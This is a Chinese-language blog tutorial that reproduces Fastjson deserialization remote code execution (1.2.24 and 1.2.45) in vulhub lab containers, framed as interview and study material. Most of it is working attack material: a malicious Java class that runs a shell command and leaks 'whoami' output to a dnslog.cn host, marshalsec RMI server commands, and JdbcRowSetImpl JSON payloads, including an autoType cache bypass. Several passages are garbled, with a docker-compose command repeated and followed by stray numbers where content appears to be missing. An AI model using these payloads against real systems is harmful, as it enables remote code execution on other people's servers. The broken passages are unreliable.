免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!
前言
在护网面试中面试官大多数都会问"Fastjson"的原理和利用,大部分人的回答要么不正确要么是对着笔记念出来。
有可能你的中级就差一个"Fastjson"(dog)
环境搭建
java-8
ubuntu-20.04
kali
docker
docker-compose
使用 vulhub 提供的docker-compose
git clone https://github.com/vulhub/vulhub.git
1.2.24-RCE
环境启动
cd 1.2.24-rce
sudo docker-compose up -d
docker ps
访问 {ip}:8090即可
构造json数据
可以看到在1.2.24版本中是没有任何提示是关于Fastjson
使用 DNSLog Platform
创建一个dcnlog的类 执行ping命令
import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.bf5odj.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// 1
}
}
}
使用 javac 编译
javac dnslog.java
把编译好的文件复制到ubuntu虚拟机中
并启动 http服务
python3 -m http.server 9998
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package –DskipTests
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://(启动python服务的ip):(启动python服务的端口)/#dnslog” 9999
启动服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.20.139:9998/#dnslog" 9999
进行复现
payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.20.139:9999/dnslog",
"autoCommit":true
}
}
可以看到命令执行成功
1.2.45-RCE
环境搭建
cd 1.2.45-rce
sudo docker-compose up -d
在47版本中最明显的点就是json报错会出现fastjson特征
payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.20.139:9999/dnslog",
"autoCommit":true
}
}
问题解答
fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择一种是基于"setter/getter"
判断
1:json传输就去尝试
2:1.2.45:com.alibaba.fastjson.JSON
为什么会有 @type 因为fastjson引入了 AutoType 为了不让他寻找错目标 com.sun.rowset.JdbcRowSetImpl 一定会被读取加载
com.sun.rowset.JdbcRowSetImpl 就是被反序列化的恶意类 和触发点差不多
为什么必须得是 dataSourceName 可以理解成传参值就比如
cd 1.2.24-rce
sudo docker-compose up -d
0
需要传的值
rmi是一个服务器
rmi://{ip/域名}:9999/dnslog
rmi一个服务器执行 另一个服务器 给的命令 无回显所以使用了dnslog来判定有没有回显
cd 1.2.24-rce
sudo docker-compose up -d
1
可以看到这个恶意的class内容是执行里面的命令
cd 1.2.24-rce
sudo docker-compose up -d
2
autoCommit true 跟上就可以
为什么到 1.2.45 之后payload变成了
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.20.139:9999/dnslog",
"autoCommit":true
}
}
我们先讲一下他的演变过程
从v1.2.25开始,fastjson默认关闭了autotype支持,并且加入了checkAutotype
在fastjson v1.2.41 之前,在checkAutotype的代码中,会先进行黑白名单的过滤,如果要反序列化的类不在黑白名单中,那么才会对目标类进行反序列化。
在作者发现这个漏洞之后进行了强匹配
cd 1.2.24-rce
sudo docker-compose up -d
4
type 不能等于 com.sun.rowset.JdbcRowSetImpl 然后作者以为就安全了但是出了绕过方法就是在前面加L后面加;Lcom.sun.rowset.JdbcRowSetImpl;这样进行了如果然后作者发现后吧又加了个强匹配不能等于Lcom.sun.rowset.JdbcRowSetImpl;
然后又被大手子绕过了变成了LL xx ;;
v1.2.45
autoType不开启反而会被攻击。
因为在fastjson中有一个全局缓存,在类加载的时候,如果autotype没开启,会先尝试从缓存中获取类,如果缓存中有,则直接返回
java.lang.Class类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类。
如果fastjson cache为true,就会缓存这个val对应的class到全局缓存中
cd 1.2.24-rce
sudo docker-compose up -d
5
java.lang.Class类是肯定存在的所以会调用缓存
val 恶意类com.sun.rowset.JdbcRowSetImpl
文末
dnslog.class与jdk请在后台回复"fastjson"获取
如果您觉得本片文章还不错,可以点个关注,我们会不定期的更新文章,也算是一种被动学习方式,另外,后台回复“交流群”还可以添加技术交流群哦~
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...